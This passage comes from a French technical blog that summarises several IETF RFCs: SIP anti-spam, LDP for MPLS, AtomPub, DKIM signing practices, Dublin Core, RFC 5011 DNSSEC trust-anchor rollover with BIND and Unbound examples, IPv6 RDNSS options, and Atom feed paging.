Le message principal du RFC est qu'il faut s'y prendre à l'avance. Le spam aurait été plus facile à combattre si on avait déployé certaines techniques dès le début. Pour le protocole SIP (RFC 3261), de loin le principal protocol ouvert pour faire du multimédia, notamment de la téléphonie, sur Internet, il est donc peut-être encore temps d'agir. (Je suis personnellement prudent par rapport à cette affirmation. Pour le courrier électronique, je n'ai pas encore vu de solution qui, si elle avait été déployée plus tôt, aurait empêché le spam de prendre une telle ampleur.)
La section 2 explique les formes que pourrait prendre le spam avec
SIP. Elle note qu'il n'est pas forcément nécessaire d'envoyer un
message pour spammer. Par exemple, SIP a une méthode INVITE qui peut
prendre un en-tête Subject:
(section 20.36 du
RFC 3261). Si ce sujet est affiché à
l'utilisateur avant même qu'il n'accepte l'appel (ce que font certains
soft phones), il peut servir de canal pour le
spam.
Cette particularité de SIP, et quelques autres, font que certaines des techniques couramment utilisées pour le filtrage du courrier ne sont pas forcément efficaces. Ainsi, le filtrage par contenu (section 3.1 de notre RFC), comme les filtres bayésiens, n'est pas tellement appliquable dans le cas d'un message audio, encore moins pour un message vidéo.
Le RFC insiste sur importance de l'identité. Beaucoup de techniques marchent si on peut être à peu près certain de l'identité de l'émetteur. Par exemple, les listes blanches sont facilement prises en défaut si le spammeur peut se faire passer pour une personne connue. Le problème est d'autant plus difficile qu'on voudrait authentifier la personne, pas uniquement son ordinateur car, comme le note la section 3.3, si l'ordinateur est compromis et est devenu un zombie, l'authentifier ne servira à rien.
Un autre problème classique des listes blanches est le fait qu'elles ne gèrent que le cas des personnes proches. Le RFC propose dans sa section 3.5, d'utiliser les mécanismes de réseau social (« mes copains ont aussi des copains ») pour augmenter automatiquement les listes blanches (la plupart des logiciels SIP, comme les logiciels d'IM, ont un système analogue, en général nommé buddy list, liste des copains).
En revanche, les techniques de dissimulation d'adresses, comme on
voit pour le courrier (stephane plus blog à bortzmeyer point
org
) ne fonctionnent pas bien si on reste aux traditionnels
numéros de téléphone. L'espace possible est en effet restreint et
relativement facile à parcourir de manière exhaustive
(ENUM facilitera probablement les choses pour les spammeurs).
Les approches du problème peuvent aussi être basées, non pas sur une technique mais sur une organisation. Une architecture possible est décrite en section 3.13, avoir un petit nombre de fournisseurs SIP qui se transmettent des coups de téléphone entre eux, et n'en acceptent pas des autres fournisseurs. Un tel cartel, qui ressemble aux propositions de mail peering qui sont proposées pour le courrier par des organismes comme le MAAWG ou comme le FAI AOL aurait, note notre RFC, tous les avantages et tous les inconvénients de l'actuel réseau téléphonique, que SIP visait à remplacer.
Finalement, la section 6 du RFC est consacrée aux quatre recommendations importantes :
Date de publication du RFC : Octobre 2007
Auteur(s) du RFC : Loa Andersson (Acreo AB), Ina Minei (Juniper Networks), Bob Thomas (Cisco Systems)
Chemin des normes
Première rédaction de cet article le 12 octobre 2007
Voici une nouvelle version, légèrement remaniée, du protocole Label Distribution Protocol pour MPLS.
Le protocole MPLS, normalisé dans le RFC 3031 repose sur la notion de label, un court identificateur de taille fixe, qui sert d'index dans une table de commutation des paquets. Le RFC 3031 ne spécifie pas comment les labels sont distribués, parce qu'il existe plusieurs méthodes. Notre RFC en normalise une, le protocole LDP, Label Distribution Protocol. LDP n'est pas comparable aux protocoles de routage comme BGP. Il ne sert pas à distribuer de l'information brute permettant de calculer une route, il sert juste à indiquer quels labels doivent être utilisés pour chaque classe (FEC pour Forwarding Equivalence Class). Actuellement, le seul type de classe connu de LDP est celle basée sur le préfixe de l'adresse IP (son encodage est décrit dans la section 3.4.1).
Le protocole est donc relativement simple, deux routeurs MPLS (on
dit LSR pour Label Switching Router) se découvrent
par des paquets LDP de type Hello
, envoyés sur
UDP et s'échangent ensuite de l'information au
dessus de TCP. Mais le RFC est très long car
beaucoup de détails doivent être spécifiés.
Les données sont transportées de l'aval vers l'amont. C'est le routeur aval qui indique à son prédécesseur quel label utiliser pour chaque classe, chaque préfixe de réseau.
Les données transportées par LDP sont, pour la plupart, encodées en TLV ce qui rend le protocole très souple et capable d'évolution. Deux bits dans le paquet indiquent ce que doit faire le LSR qui ne comprend pas un type : doit-il l'ignorer ou bien refuser le message et, s'il l'ignore, doit-il le transmettre à d'autres LSR ? Ce mécanisme contribue également à la robustesse du protocole puisqu'il permet d'introduire de nouveaux types de données sans craindre que les vieux équipements ne réagissent bizarrement.
LDP avait originellement été spécifié dans le RFC 3036 et ce RFC n'apporte que de petits changements.
Date de publication du RFC : Octobre 2007
Auteur(s) du RFC : J. Gregorio (IBM), B. de hOra
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF atompub
Première rédaction de cet article le 9 octobre 2007
Le nouveau protocole APP permet la publication et la mise à jour de documents Atom. Il vise à faciliter la publication sur le Web, notamment pour les blogs.
APP est clairement issu du monde des blogs. Si on veut mettre à jour un blog automatiquement, il existe plusieurs protocoles avec XML-RPC mais rien de normalisé. Ce rôle est celui principalement visé par APP. Mais APP permettra aussi beaucoup d'autres choses sur le Web, concurrençant aussi des protocoles comme WebDAV (RFC 4918).
APP repose sur les concepts de ressources et de collections (section 3). Une ressource est une information accessible par le Web. Dans APP, elle est fréquemment au format Atom (RFC 4287) et est alors nommée une entry resource. Les ressources non-Atom sont nommées des media resource. Elles sont en général « pointées » par une entry resource qui contient les métadonnées les concernant et un lien vers la media resource.
Les sections 7 et 8 du RFC spécifient également deux nouveaux formats XML, pour des documents décrivant les catégories (un mécanisme de classification des ressources) et les collections.
Ces ressources et ces collections sont identifiées par des URI (plus exactement par des IRI, RFC 3987). APP agit sur les collections et les ressources par l'intermédiaires de méthodes HTTP qui sont classiques pour les programmeurs REST (section 4.3 du RFC et des détails de protocole en section 5) :
Le RFC précise bien que les serveurs APP jouissent d'une grande liberté d'action et que le client doit être prêt à tout, notamment si on utilise des méthodes HTTP dont l'action n'est pas définie par le RFC. Par exemple, DELETE sur une collection n'est pas spécifié mais peut être accepté par certains serveurs. Même chose pour le PUT sur une ressource pas encore existante, mentionné plus loin.
Voyons maintenant un exemple, tiré de la section 9 du RFC, montrant
la création d'une ressource, obtenue par un POST sur l'URL d'une
collection (ici, /edit/
) :
[Envoyé par le client] POST /edit/ HTTP/1.1 Host: example.org User-Agent: Thingio/1.0 Authorization: Basic ZGFmZnk6c2VjZXJldA== Content-Type: application/atom+xml;type=entry Content-Length: 343 Slug: First Post <?xml version="1.0"?> <entry xmlns="http://www.w3.org/2005/Atom"> <title>Atom-Powered Robots Run Amok</title> <id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id> <updated>2003-12-13T18:30:02Z</updated> <author><name>John Doe</name></author> <content>Some text.</content> </entry> [Répondu par le serveur] HTTP/1.1 201 Created Date: Fri, 7 Oct 2005 17:17:11 GMT Content-Length: 430 Content-Type: application/atom+xml;type=entry;charset="utf-8" Location: http://example.org/edit/first-post.atom ETag: "c180de84f991g8" <?xml version="1.0"?> <entry xmlns="http://www.w3.org/2005/Atom"> <title>Atom-Powered Robots Run Amok</title> <id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id> <updated>2007-08-01T16:46:18Z</updated> <author><name>John Doe</name></author> <content>Some text.</content> <link rel="edit" href="http://example.org/edit/first-post.atom"/> </entry>
Le serveur renvoie le document Atom car il est libre de
modifier ce qu'a envoyé le client (ici, la date a changé dans
l'élément <updated>
, peut-être parce que le
serveur a davantage confiance dans sa propre horloge). C'est un des
points importants d'APP.
Parmi les questions brûlantes d'APP figurait celle du lost update, la mise à jour perdue lorsque deux clients font presque en même temps un GET d'une ressource suivi d'un PUT avec la ressource modifiée. (L'excellent document du W3C indiqué plus haut, Editing the Web: Detecting the lost update problem using unreserved checkout explique très bien l'ensemble du problème et les solutions possibles.)
HTTP n'ayant pas d'état, et APP n'ayant pas d'option de verrouillage
(contrairement à une autre extension de HTTP,
WebDAV), la solution recommandée par notre RFC
est celle du « PUT conditionnel » (section 9.5 du RFC) en utilisant la
date ou bien l'etag et les en-têtes HTTP
If-Modified-Since:
ou
If-None-Match:
.
Techniquement, c'est donc une solution assez simple mais la blogosphère a frémi sous les polémiques à ce sujet.
Parmi les verbes REST, on notera que PUT n'est utilisé que pour les
mises à jour, pas les créations (le RFC 7231
autorise pourtant cet usage dans sa section 4.3.4). La question du « PUT pour créer » est
toujours une question délicate dans le monde REST (voir http://bitworking.org/news/141/REST-Tips-Prefer-following-links-over-URI-construction
ou bien http://www.megginson.com/blogs/quoderat/2005/04/03/post-in-rest-create-update-or-action/
).
Dans APP, comme l'espace de nommage est contrôlé par le serveur, il
n'est pas prévu que le client puisse créer une ressource autrement
qu'en passant par une collection (avec POST) et en laissant le serveur
choisir un nom (le client peut toujours le guider avec le nouvel
en-tête Slug:
, décrit dans la section 9.7).
APP connait déjà des extensions, la plus connue étant Gdata.
Parmi les mises en œuvres existantes d'APP, on notera, pour les serveurs :
et pour les clients :
Pour en apprendre plus sur APP, on peut consulter l'excellent article Getting to know the Atom Publishing Protocol.
Date de publication du RFC : Octobre 2007
Auteur(s) du RFC : M. Thomas (Cisco)
Pour information
Première rédaction de cet article le 11 novembre 2007
Dernière mise à jour le 24 août 2009
Le protocole DKIM de signature des courriers électroniques a une limite. Tant que tout le monde ne signe pas, on ne peut pas savoir si l'absence de signature est volontaire ou bien est la conséquence d'une fraude. Le protocole SSP (Signing Practices Protocol) doit permettre de résoudre ce problème.
DKIM, normalisé dans le RFC 6376, normalise un mécanisme pour insérer des
signatures cryptographiques dans un
courrier électronique, de façon à en prouver
l'authenticité. Mais le déploiement de DKIM ne sera pas instantané et
n'atteindra peut-être jamais 100 % des serveurs de
messagerie. Si un message arrive sans signature, est-ce
normal car ce domaine ne signe pas, ou bien est-ce une fraude ?
Impossible de le savoir sans connaitre les pratiques de signature du
domaine. Par exemple cisco.com
signe tous ses
messages. Mais on ne peut pas connaitre les pratiques de tous les
domaines de l'Internet. Il faut donc un
protocole pour récupérer cette information, SSP, dont ce RFC
donne le cahier des charges.
Le principe de SSP est de fournir un moyen permettant à un
MTA de décider, lorsque le message n'est pas
signé, si cela est suspect ou non. Si SSP indique que
example.net
signe toujours et qu'un message
prétendant venir de dupont@example.net
n'est pas
signé, le récepteur pourra donc légitimement le traiter avec une
extrême suspicion.
La section 3 du RFC donne divers scénarios d'usage, et la section 4
se penche sur les problèmes de déploiement, un problème difficile pour
toutes les nouvelles technologies. Ainsi, la section 4.2 rappelle que
le gérant d'un domaine peut avoir envie de couvrir également les
sous-domaines (autrement, le méchant qui veut faire croire que son
domaine est example.net
n'aurait qu'à envoyer
depuis staff.example.net
), la section 4.5 insiste
sur les questions de performance, etc..
La section 5 attaque les exigences proprement dites. Je ne vais pas les énumérer ici, mais seulement donner quelques exemples :
.com
de définir une
politique pour example.com
...).p=unknown
est
préférable à p=?
(là encore, SPF est sans doute
visé, ses enregistrements étant parfois cryptiques).SSP a finalement été spécifié dans le RFC 5617, qui utilise le
DNS pour récupérer
des politiques ressemblant, pour un domaine qui signe tout et garantit
que ces signatures ne sont pas invalidés en cours de route, à dkim=discardable
.
Date de publication du RFC : Août 2007
Auteur(s) du RFC : J. Kunze (University of California)
, T. Baker (Dublin Core Metadata Initiative)
Pour information
Première rédaction de cet article le 1 septembre 2007
Dernière mise à jour le 21 septembre 2007
Mise à jour, voici la liste des éléments qui forment le fameux Dublin Core, un ensemble d'éléments pour créer des métadonnées, notamment sur les ressources Web.
Dublin Core, qui doit son nom à la ville de Dublin, où s'est tenue la réunion fondatrice, est un jeu de quinze éléments, qui permettent d'attribuer des métadonnées à une ressource, typiquement un fichier accessible via le Web.
Ces quinze éléments comprennent, entre autres :
On notera que Dublin Core ne spécifie pas de sémantique rigoureuse pour ces éléments. C'est volontaire, afin de donner le maximum de liberté à ceux qui définissent ces métadonnées. Le RFC se contente de donner des conseils, comme d'utiliser un « système d'identificateurs formels » pour l'élément identifier.
De même, la syntaxe n'est pas spécifiée, uniquement conseillée. Ainsi, le RFC suggère d'utiliser les étiquettes de langue du RFC 4646 pour language ou bien ISO 8601 pour les dates.
De même, la façon dont se représentent les éléments Dublin Core
dans la ressource n'est pas précisée dans ce RFC. Elle dépend en effet du format
de cette dernière. On peut trouver une liste de techniques en http://dublincore.org/resources/expressions/
et un exemple
pour HTML en http://dublincore.org/documents/2008/08/04/dc-html/
.
Dublin Core avait été à l'origine normalisé dans le RFC 2413, auquel notre RFC succède. Il n'y a pas de changement radical entre les deux RFC. Il existe aussi une norme ISO sur Dublin Core, la 15836 mais, comme elle n'est pas publique, le RFC est une meilleure source.
Très peu de pages Web publient du Dublin Core aujourd'hui. Sur ce blog, par exemple, vous n'en trouverez pas dans les pages HTML mais il y en a dans le flux de syndication Atom. En voici un extrait :
<feed xml:lang="fr" xmlns="http://www.w3.org/2005/Atom" xmlns:html="http://www.w3.org/1999/xhtml" xmlns:dublincore="http://purl.org/dc/elements/1.1/"> <!-- See for discussions about the relationship between Atom and Dublin Core and why Atom does not use Dublin Core: http://internetalchemy.org/2004/03/theNucleusOfAtom http://www.imc.org/atom-syntax/mail-archive/msg03170.html http://www.imc.org/atom-syntax/mail-archive/msg04474.html http://bitworking.org/news/Not_Invented_Here --> ... <dublincore:title>Blog de Stéphane Bortzmeyer</dublincore:title> <dublincore:language>fr</dublincore:language> <dublincore:identifier>tag:bortzmeyer.org,2006-02:Blog/</dublincore:identifier> <dublincore:date>2007-07-05T16:35:00Z</dublincore:date> ...
Autre exemple, le logiciel libre de dessin Inkscape permet d'associer des métadonnées Dublin Core à un document. Comme son format natif de stockage est SVG, Inkscape, logiquement, les exprime en XML dans l'espace de nommage Dublin Core (notons aussi l'utilisation des schémas de Creative Commons) :
<svg xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:cc="http://web.resource.org/cc/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" ... <metadata> <rdf:RDF> <dc:format>image/svg+xml</dc:format> <dc:type rdf:resource="http://purl.org/dc/dcmitype/StillImage" /> <dc:title>Forces Architecture</dc:title> <dc:date>2007-09-21</dc:date> <dc:creator> <cc:Agent> <dc:title>Stéphane Bortzmeyer</dc:title> </cc:Agent> </dc:creator> <dc:rights> <cc:Agent> <dc:title>GFDL</dc:title> </cc:Agent> </dc:rights> <dc:language>fr</dc:language> <cc:license rdf:resource="gfdl" /> </cc:Work> </rdf:RDF> </metadata>
Voici quelques autres exemples d'utilisation aujourd'hui :
C'est mince par rapport aux ambitions anciennes des systèmes de métadonnées.
De même, je ne connais pas de logiciel public (par exemple de moteur de recherche) qui puisse utiliser le Dublin Core. Les seuls cas existants sont dans des mondes plus fermés comme celui d'In-extenso, un moteur de recherche spécialisé en sciences humaines et sociales.
En dépit de gros efforts de
sensibilisation, les métadonnées restent les grandes absentes du
Web. Pour quelles raisons ? Outre les raisons spécifiques à Dublin
Core, comme le fait que beaucoup d'éléments Dublin Core font double
emploi avec des éléments existants (<title>
ou l'attribut lang
en HTML, les mêmes plus
<published>
ou
<author>
en Atom),
je vois deux raisons communes à toutes les métadonnées.
L'une est que les moteurs de recherche ont appris à se méfier des informations mises par l'auteur de la page Web. Soit il est peu soigneux, soit il triche en mettant des mots-clés susceptibles de lui attirer du trafic.
L'autre est un problème d'œuf et de poule classique. Les moteurs de recherche n'utilisent pas les métadonnées, donc les auteurs n'en mettent pas, donc les moteurs ne les utilisent pas...
Merci à Gautier Poupeau pour ses nombreuses informations.
Date de publication du RFC : Septembre 2007
Auteur(s) du RFC : M. StJohns
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF dnsext
Première rédaction de cet article le 23 octobre 2009
Dernière mise à jour le 2 juillet 2015
La plaie de DNSSEC, comme celle de tous les systèmes de cryptographie, est la gestion des clés. Avec DNSSEC, la clé de signature des autres clés, la KSK (Key Signing Key) est censée être remplacée (rolled over) régulièrement. Si un résolveur a une KSK dans sa configuration, cela oblige l'administrateur du résolveur à effectuer le remplacement à la main, ce qui peut être contraignant. Notre RFC 5011 propose une autre solution : le domaine signe la nouvelle KSK avec l'ancienne et le résolveur accepte alors automatiquement cette nouvelle clé.
Le résolveur peut ainsi construire une chaîne de confiance menant de la première clé pour laquelle il a été configuré, jusqu'à la clé actuelle. Cela implique que ledit résolveur ait un espace où écrire les clés successives qu'il a authentifié et décidé de garder.
La méthode de notre RFC présente des risques (cf. section 8.3) mais pas plus que la situation actuelle où les clés sont entièrement gérées à la main.
Ce RFC 5011 fournit donc un moyen de ne configurer la clé d'un domaine qu'une seule fois (cette configuration initiale reste manuelle), même si elle est remplacée par la suite. Le principe est simple (et le RFC est donc très court). La section 2 le décrit : quand une clé est configurée pour une zone du DNS (cette clé est dite un « trust anchor ») et qu'une nouvelle KSK apparait dans la zone, signée par l'ancienne, le résolveur accepte cette nouvelle KSK comme trust anchor et l'enregistre dans sa configuration. Une machine à états complète figure en section 4.
Le principal piège avec cette méthode est que, si une clé privée
est volée, l'attaquant pourra continuer à générer une chaîne de
confiance : le retrait de la clé compromise par le gérant de la zone
ne suffira pas à annuler son usage. Il faut donc un mécanisme de
révocation (section 2.1). Lorsqu'une KSK est publiée, signée mais que
le nouveau bit REVOKE
est mis, alors le résolveur
doit retirer cette clé de sa configuration.
Un autre risque est que la clé privée soit volée sans que le gérant de la zone ne s'en rende compte immédiatement. Pour éviter que l'attaquant ne fasse accepter une nouvelle clé, le résolveur est supposé attendre lorsqu'une clé apparait (section 2.2). La durée d'attente est typiquement de 30 jours (section 2.4.1).
Le résolveur qui met en œuvre ce RFC 5011 doit périodiquement vérifier que la clé est toujours en service. La section 2.3 expose les règles à suivre pour cette vérification (il faut demander souvent pour détecter les nouvelles clés, sans attendre l'expiration du TTL mais pas trop pour ne pas surcharger les serveurs).
On l'a vu, ce RFC crée un nouveau booléen dans les enregistrement
DNSKEY
, pour indiquer la révocation. Le format
est donc légèrement modifié, comme spécifié en section 3. C'est le bit
n° 8 du champ DNSKEY Flags (voir section 2.1.1 du
RFC 4034) qui servira à cet
effet.
Si toutes les clés d'une zone sont révoquées, la zone devient non-validable (section 5), ce qui signifie qu'elle sera traitée comme si elle n'était pas signée du tout (insecure en terminologie DNSSEC).
Le bon fonctionnement de l'algorithme nécessite que la zone signée procède au remplacement des clés d'une manière particulière, décrite en section 6. Ainsi, le remplacement (rollover) va nécessiter la révocation de l'ancienne clé.
Le logiciel BIND a introduit le système de ce
RFC dans sa version 9.7. (Voir le fichier README.rfc5011
dans le code
source.) Cela se configure avec la directive
managed-keys
, qui ressemble beaucoup à
trusted-keys
(sauf l'ajout d'un mécanisme pour
trouver la première clé, ici avec le paramètre initial-key
), par exemple ainsi :
managed-keys { "example.com." initial-key 257 3 5 "AwEAAeeGE5unuosN3c8tBcj1/q4TQEwzfNY0GK6kxMVZ 1wcTkypSExLCBPMS0wWkrA1n7t5hcM86VD94L8oEd9jn HdjxreguOZYEBWkckajU0tBWwEPMoEwepknpB14la1wy 3xR95PMt9zWceiqaYOLEujFAqe6F3tQ14lP6FdFL9wyC flV06K1ww+gQxYRDo6h+Wejguvpeg33KRzFtlwvbF3Aa pH2GXCi4Ok2+PO2ckzfKoikIe9ZOXfrCbG9ml2iQrRNS M4q3zGhuly4NrF/t9s9jakbWzd4PM1Q551XIEphRGyqc bA2JTU3/mcUVKfgrH7nxaPz5DoUB7TKYyQgsTlc="; // key id = 8779 };
Une fois que BIND démarre, il crée un journal pour une zone bidon,
managed-keys.bind
et commence le processus décrit
dans le RFC :
23-Oct-2009 10:55:10.152 zone managed-keys.bind/IN/_meta: loaded serial 0 23-Oct-2009 10:55:10.169 zone managed-keys.bind/IN/_meta: Initializing automatic trust anchor management for zone 'example.com'; \ DNSKEY ID 49678 is now trusted, waiving the normal 30-day waiting period.
On voit que example.com
a déjà une nouvelle clé,
49678, signée avec l'ancienne (celle que j'ai configurée dans
manage-keys
) et que BIND commence la période
d'attente. Voici, avec une zone différente, le contenu de managed-keys.bind
au moment où une deuxième clé vient d'être publiée :
$ORIGIN . $TTL 0 ; 0 seconds @ IN SOA . . ( 2 ; serial 0 ; refresh (0 seconds) 0 ; retry (0 seconds) 0 ; expire (0 seconds) 0 ; minimum (0 seconds) ) KEYDATA 20150703040258 20150702160258 19700101000000 257 3 8 ( AwEAAaP3gGQ4db0tAiDEky0dcUNGeI1aTDYP5NFxzhbd pD60ZhKLVV4KyxPmoSNUpq5Fv5M0iBwK1Tyswsyq/9sM SoZ8zx8aT3ho1YnPsSqQeJfjTT1WsX6YZ5Kw6B2QkjRN a6OMGZ96Kn8AI/slqsw+z8hY49Sn3baeo9iJxHPzloNc 2dQkW4aLqzNEYxnuoJsthCfGrPSAXlUjY9m3YKIaEWR5 WFYQk770fT+gGWLk/54Vp0sG+Lw75JZnwhDhixPFaToT DNqbHQmkEylq1XJLO15uZ/+RZNRfTXZKO4fVR0tMEbMA ITqRmyP8xLXY4RXbS4J32gnenQbzABX8sQmwO7s= ) ; KSK; alg = RSASHA256; key id = 55954 KEYDATA 20150703040258 20150702160258 19700101000000 257 3 8 ( AwEAAchb6LrHCdz9Yo55u1id/b+X1FqVDF66xNrhbgnV +vtpiq7pDsT8KgzSijNuGs4GLGsMhVE/9H0wOtmVRUQq Q50PHZsiqg8gqB6i5zLortjpaCLZS7Oke1xP+6LzVRgT 4c8NXlRBg3m/gDjzijBD0BMACjVGZNv0gReAg2OCr9dB rweE6DnM6twG7D2NyuGjpWzKeJfNd3Hek39V9NGHuABG kmYG16XCao37IWcP/s/57HuBom5U3SNfuzfVDppokatu L6dXp9ktuuVXsESc/rUERU/GPleuNfRuPHFr3URmrRud 4DYbRWNVIsxqkSLrCldDjP1Hicf3S8NgVHJTSRE= ) ; KSK; alg = RSASHA256; key id = 24439
Pour Unbound, la configuration de ce RFC se
fait en préfixant les directives par
auto-
. Ainsi, au lieu d'avoir une clé statique et
qui ne bougera pas :
trust-anchor-file: "root.key"
On aura une clé modifiable :
auto-trust-anchor-file: "autokey/root.key"
Il faut bien sûr veiller à ce que le répertoire (ici
autokey/
) soit accessible à Unbound en
écriture. Voici un fichier pour les mêmes clés que l'exemple BIND plus
haut :
; autotrust trust anchor file ;;id: . 1 ;;last_queried: 1435856265 ;;Thu Jul 2 16:57:45 2015 ;;last_success: 1435856265 ;;Thu Jul 2 16:57:45 2015 ;;next_probe_time: 1435899044 ;;Fri Jul 3 04:50:44 2015 ;;query_failed: 0 ;;query_interval: 43200 ;;retry_time: 8640 . 86400 IN DNSKEY 257 3 8 AwEAAaP3gGQ4db0tAiDEky0dcUNGeI1aTDYP5NFxzhbdpD60ZhKLVV4KyxPmoSNUpq5Fv5M0iBwK1Tyswsyq/9sMSoZ8zx8aT3ho1YnPsSqQeJfjTT1WsX6YZ5Kw6B2QkjRNa6OMGZ96Kn8AI/slqsw+z8hY49Sn3baeo9iJxHPzloNc2dQkW4aLqzNEYxnuoJsthCfGrPSAXlUjY9m3YKIaEWR5WFYQk770fT+gGWLk/54Vp0sG+Lw75JZnwhDhixPFaToTDNqbHQmkEylq1XJLO15uZ/+RZNRfTXZKO4fVR0tMEbMAITqRmyP8xLXY4RXbS4J32gnenQbzABX8sQmwO7s= ;{id = 55954 (ksk), size = 2048b} ;;state=1 [ ADDPEND ] ;;count=2 ;;lastchange=1435813814 ;;Thu Jul 2 05:10:14 2015 . 85667 IN DNSKEY 257 3 8 AwEAAchb6LrHCdz9Yo55u1id/b+X1FqVDF66xNrhbgnV+vtpiq7pDsT8KgzSijNuGs4GLGsMhVE/9H0wOtmVRUQqQ50PHZsiqg8gqB6i5zLortjpaCLZS7Oke1xP+6LzVRgT4c8NXlRBg3m/gDjzijBD0BMACjVGZNv0gReAg2OCr9dBrweE6DnM6twG7D2NyuGjpWzKeJfNd3Hek39V9NGHuABGkmYG16XCao37IWcP/s/57HuBom5U3SNfuzfVDppokatuL6dXp9ktuuVXsESc/rUERU/GPleuNfRuPHFr3URmrRud4DYbRWNVIsxqkSLrCldDjP1Hicf3S8NgVHJTSRE= ;{id = 24439 (ksk), size = 2048b} ;;state=2 [ VALID ] ;;count=0 ;;lastchange=1434990786 ;;Mon Jun 22 16:33:06 2015
Notez qu'Unbound, lui, écrit l'état des clés, VALID
pour celle en cours d'utilisation et
ADDPEND
(Add, Pending) pour
celle qui la remplacera.
Un très bon article de test de notre RFC, avec OpenDNSSEC, BIND et Unbound, par Jan-Piet Mens.
Date de publication du RFC : Septembre 2007
Auteur(s) du RFC : J. Jeong (ETRI/University of Minnesota), S. Park
(SAMSUNG Electronics), L. Beloeil (France Telecom
R&D), S. Madanapalli (SAMSUNG ISO)
Expérimental
Première rédaction de cet article le 25 septembre 2007
Dernière mise à jour le 28 novembre 2009
Comment configurer les serveurs de noms sur toutes les machines du réseau qu'on administre ? DHCP fournit une solution, ce RFC en normalise une autre, fondée sur les RA (Router Advertisements).
Si on gère un gros réseau, avec de nombreuses machines dont
certaines, portables, vont et viennent, s'assurer que toutes ces
machines ont les adresses IP
des serveurs de noms à utiliser n'est pas trivial. On ne peut évidemment pas utiliser le DNS, cela serait tenter de voler en tirant
sur les lacets de ses chaussures. Et configurer à la main les adresses
sur chaque machine (par exemple, sur Unix, en
les écrivant dans le fichier /etc/hosts
)
est bien trop difficile à maintenir.
La solution la plus populaire actuellement est DHCP (RFC 2136 et RFC 3315). Son principal inconvénient est qu'elle est à état : le serveur DHCP doit se souvenir des baux qu'il a attribué. Sur un gros réseau local, le nombre de requêtes à traiter, chacune nécessitant une écriture dans une base de données, peut devenir très lourd.
Une autre solution est sans état et repose sur
une nouveauté d'IPv6, les RA (Router
Advertisements), décrits dans le RFC 4862. Ce sont des messages envoyés à intervalles
réguliers par les routeurs et
qui informent les machines non-routeuses des caractéristiques
essentielles du réseau, comme le préfixe utilisé (par exemple
2001:DB8:BEEF:42::/64
). Le routeur diffuse ses
messages et n'a pas besoin d'écrire quoi que ce soit sur son disque,
ni de faire des traitements compliqués lors d'une sollicitation, il
répond toujours par le même message RA.
Ces RA peuvent diffuser diverses informations, par le biais d'un système d'options. Le principe de notre RFC est donc d'utiliser ces RA pour transporter l'information sur les serveurs de noms récursifs utilisables sur le réseau local, via la nouvelle option nommée RDNSS (le numéro 25 a été affecté par l'IANA).
Initialement prévu pour le chemin des normes, ce RFC a finalement été publié comme « expérimental », suite à des désaccords sur la « bonne » méthode de configuration des serveurs de noms. Notre RFC commence donc, en section 1.1, par un avertissement que le protocole « officiel » reste DHCP. Le RFC 4339 contient une discussion plus détaillée de ce problème du choix d'une méthode de configuration des serveurs de noms (notons qu'il existe d'autres méthodes comme l'anycast avec une adresse « bien connue »). Le successeur de notre RFC, le RFC 6106 a été, lui, publié sur le chemin des normes et la publication de réglages DNS par le Router Advertisement est donc désormais standard.
Sur Linux, le démon rdnssd permet de recevoir ces RA et de modifier la configuration DNS. Pour FreeBSD, on peut consulter une discussion sur leur liste. Les CPE de Free, les Freebox, émettent de telles options dans leurs RA. Voici ce qu'affiche Wireshark :
... Ethernet II, Src: FreeboxS_c3:83:23 (00:07:cb:c3:83:23), Dst: IPv6mcast_00:00:00:01 (33:33:00:00:00:01) ... Internet Control Message Protocol v6 Type: 134 (Router advertisement) ... ICMPv6 Option (Recursive DNS Server) Type: Recursive DNS Server (25) Length: 40 Reserved Lifetime: 600 Recursive DNS Servers: 2a01:e00::2 (2a01:e00::2) Recursive DNS Servers: 2a01:e00::1 (2a01:e00::1)
et les serveurs DNS annoncés répondent correctement. (Vous pouvez récupérer le paquet entier sur pcapr.net.)
Date de publication du RFC : Septembre 2007
Auteur(s) du RFC : M. Nottingham
Chemin des normes
Première rédaction de cet article le 8 septembre 2007
Dans la désormais longue série des RFC autour du format Atom, celui-ci spécifie un moyen de récupérer une partie d'un flux de syndication et comment itérer pour avoir le reste du flux.
Atom, normalisé dans le RFC 4287, permet de décrire un flux de syndication, comprenant un certain nombre d'entrées, par exemple des articles d'un blog. Avant ce nouveau RFC, Atom ne permettait pas de récupérer le flux en plusieurs étapes. La plupart des sites Web ne publiaient que les N derniers articles et sans fournir de moyen d'obtenir les autres. Notre RFC change cela : il permet de récupérer des flux par étapes successives (pages feeds) et aussi de récupérer un flux en plusieurs étapes en ayant la garantie que cette récupération inclus toutes les entrées (archived feeds).
Un paged feed est simplement un flux qui contient des liens vers le groupe suivant d'entrées. Par exemple :
<feed xmlns="http://www.w3.org/2005/Atom"> <title>Mon flux à moi</title> <link href="http://example.org/"/> <link rel="self" href="http://example.org/index.atom"/> <link rel="next" href="http://example.org/index.atom?page=2"/> ...
où ce document, index.atom
, contient un
lien de type next
qui mène au document suivant du
flux, index.atom?page=2
.
Ce type next
, ainsi que d'autres types décrits
dans ce RFC comme prev
sont enregistrés dans le
registre IANA des relations.
Un paged feed n'offre pas de garantie de
cohérence. Entre la requête à index.atom
et une
requête ultérieure à index.atom?page=2
, des
entrées ont pu être ajoutées et des entrées figurant dans le premier
document ont pu « migrer » vers le second. Itérer sur les
next
peut donc ne donner qu'une partie de la
collection d'entrées.
Pour avoir un flux
cohérent, il faut utiliser les archived feeds avec
les relations next-archive
et
prev-archive
:
<feed xmlns="http://www.w3.org/2005/Atom" xmlns:fh="http://purl.org/syndication/history/1.0"> <!-- L'espace de noms http://purl.org/syndication/history/1.0 est défini dans ce RFC --> <title>Mon flux à moi</title> <link rel="current" href="http://example.org/index.atom"/> <link rel="self" href="http://example.org/2003/11/index.atom"/> <fh:archive/> <link rel="prev-archive" href="http://example.org/2003/10/index.atom"/> ...
Itérer sur prev-archive
et
next-archive
, si ces relations sont présentes,
est sûr et garantit de ne perdre aucune entrée.
Notre RFC définit également un troisième type de flux, les
complete feeds où la présence de l'élément
<fh:complete/>
garantit que le flux
contient toutes les entrées de la collection.
Désolé, mais ce blog ne met pas encore en œuvre ce RFC et ne fournir donc qu'un flux limité, réduit aux N derniers articles.
Date de publication du RFC : Août 2007
